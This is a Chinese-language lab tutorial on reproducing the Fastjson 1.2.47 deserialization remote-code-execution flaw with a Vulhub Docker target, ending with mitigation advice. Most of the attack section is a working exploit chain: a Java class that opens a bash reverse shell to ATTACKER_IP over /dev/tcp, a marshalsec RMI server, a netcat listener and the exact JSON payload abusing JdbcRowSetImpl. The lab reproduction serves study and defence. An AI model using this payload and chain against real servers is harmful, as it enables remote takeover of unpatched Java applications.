Fastjson反序列化漏洞实战:如何用Docker快速搭建Vulhub靶场并复现漏洞

发布时间:2026/5/19 16:23:43

Fastjson反序列化漏洞实战:如何用Docker快速搭建Vulhub靶场并复现漏洞 Fastjson反序列化漏洞实战Docker与Vulhub靶场环境构建指南1. 漏洞背景与核心原理Fastjson作为阿里巴巴开源的高性能JSON处理库在Java生态中广泛应用。其反序列化漏洞源于autotype功能的缺陷——当反序列化包含type标记的恶意JSON数据时攻击者可以诱导应用执行任意代码。这个漏洞在1.2.47及以下版本尤为严重甚至能绕过autotype关闭的防护。漏洞利用的关键在于恶意类加载通过type指定包含危险方法的类调用链构造精心设计的JSON会触发目标类的setter/getter方法RMI/LDAP注入结合JNDI注入实现远程代码加载典型攻击流程分三步搭建恶意RMI服务托管攻击载荷构造特殊JSON触发反序列化通过JNDI注入执行远程代码2. 环境准备Docker与Vulhub部署2.1 基础环境配置推荐使用Linux系统Ubuntu 20.04或CentOS 7并安装最新版Docker# 卸载旧版本 sudo apt-get remove docker docker-engine docker.io containerd runc # 安装依赖 sudo apt-get update sudo apt-get install apt-transport-https ca-certificates curl gnupg lsb-release # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg # 设置稳定版仓库 echo deb [archamd64 signed-by/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 安装Docker引擎 sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io # 验证安装 sudo docker run hello-world提示生产环境建议配置docker用户组避免频繁使用sudo2.2 Vulhub靶场部署Vulhub作为开箱即用的漏洞环境集合极大简化了复现流程# 下载项目 git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.47-rce # 启动环境 docker-compose up -d # 查看运行状态 docker-compose ps服务启动后默认监听8090端口可通过http://your-ip:8090访问测试页面。3. 攻击环境构建与利用3.1 Java环境配置攻击机需要特定版本的JDK和Maven组件推荐版本验证命令JDK8u212java -versionMaven3.5.4mvn -version安装步骤精简如下# JDK安装 wget https://repo.huaweicloud.com/java/jdk/8u212-b10/jdk-8u212-linux-x64.tar.gz tar -zxvf jdk-8u212-linux-x64.tar.gz -C /opt export JAVA_HOME/opt/jdk1.8.0_212 export PATH$JAVA_HOME/bin:$PATH # Maven安装 wget https://archive.apache.org/dist/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz tar -zxvf apache-maven-3.5.4-bin.tar.gz -C /opt export MAVEN_HOME/opt/apache-maven-3.5.4 export PATH$MAVEN_HOME/bin:$PATH3.2 攻击工具编译使用marshalsec工具搭建RMI服务git clone https://github.com/mbechler/marshalsec cd marshalsec mvn clean package -DskipTests编译完成后在target目录生成marshalsec-0.0.3-SNAPSHOT-all.jar。3.3 恶意类构造创建包含攻击逻辑的Java类// TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt Runtime.getRuntime(); String[] commands {/bin/bash,-c,bash -i /dev/tcp/ATTACKER_IP/4444 01}; Process pc rt.exec(commands); pc.waitFor(); } catch (Exception e) { // 静默处理异常 } } }编译并托管该类javac TouchFile.java python3 -m http.server 80804. 漏洞复现全流程4.1 服务端准备启动RMI服务指向恶意类java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ATTACKER_IP:8080/#TouchFile 1099另开终端启动NC监听nc -lvnp 44444.2 发送攻击载荷向靶场发送精心构造的POST请求POST / HTTP/1.1 Host: target-ip:8090 Content-Type: application/json { a:{ type:java.lang.Class, val:com.sun.rowset.JdbcRowSetImpl }, b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://ATTACKER_IP:1099/TouchFile, autoCommit:true } }4.3 结果验证成功利用时NC终端会获得反向shell。关键验证点检查HTTP响应状态码观察NC终端的连接状态执行基础命令如whoami确认权限5. 防护方案与最佳实践5.1 临时缓解措施措施实施方法影响范围关闭autotypeParserConfig.getGlobalInstance().setAutoTypeSupport(false)全版本有效使用安全模式-Dfastjson.parser.safeModetrue1.2.68升级到最新修复版本1.2.83彻底解决5.2 长期防护策略输入过滤严格校验JSON数据来源限制反序列化的类白名单环境加固# 禁止JVM访问外部RMI/LDAP服务 -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.ldap.object.trustURLCodebasefalse监控方案检测异常的type使用监控可疑的JNDI连接请求6. 深度技术解析Fastjson反序列化的核心问题在于其TypeUtils.loadClass()方法的处理逻辑。当遇到type标记时尝试从缓存中获取类定义缓存未命中时通过ClassLoader加载未做充分安全检查即初始化类攻击者正是利用这个流程通过精心构造的调用链Gadget Chain触发危险操作。典型的Gadget包括TemplatesImpl字节码加载JdbcRowSetImplJNDI注入BasicDataSourceBCEL类加载在防御方面新版本引入了SafeMode机制完全禁用autotype功能从根本上切断了攻击路径。同时增加了类型白名单校验确保只有可信类能被反序列化。

相关新闻